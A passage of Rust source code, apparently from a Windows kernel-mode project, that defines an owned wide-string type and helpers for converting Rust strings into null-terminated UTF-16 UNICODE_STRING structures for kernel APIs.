/// `UNICODE_STRING`.
_phantompinned: core::marker::PhantomPinned,
}
impl OwnedUnicodeString {
/// Converts the `OwnedUnicodeString` into a `UNICODE_STRING` that can be used in kernel APIs.
///
/// # Returns
///
/// A `UNICODE_STRING` pointing to the wide string stored in `buffer`.
pub fn to_unicode(&self) -> UNICODE_STRING {
// The length is the size of the string in bytes, excluding the null terminator.
// MaximumLength includes the null terminator.
UNICODE_STRING {
Length: ((self.buffer.len() * size_of::<u16>()) - 2) as u16,
MaximumLength: (self.buffer.len() * size_of::<u16>()) as u16,
Buffer: self.buffer.as_ptr() as *mut u16,
}
}
}
/// Converts a Rust `&str` to an `OwnedUnicodeString`.
///
/// # Arguments
///
/// * `str` - A reference to the Rust string slice to be converted.
///
/// # Returns
///
/// A structure containing the wide (UTF-16) representation of the input string.
pub fn str_to_unicode(str: &str) -> OwnedUnicodeString {
// Convert the rust string to a wide string
let mut wide_string: Vec<u16> = str.encode_utf16().collect();
// Null terminate the string
wide_string.push(0);
OwnedUnicodeString {
buffer: wide_string,
_phantompinned: core::marker::PhantomPinned,
}
}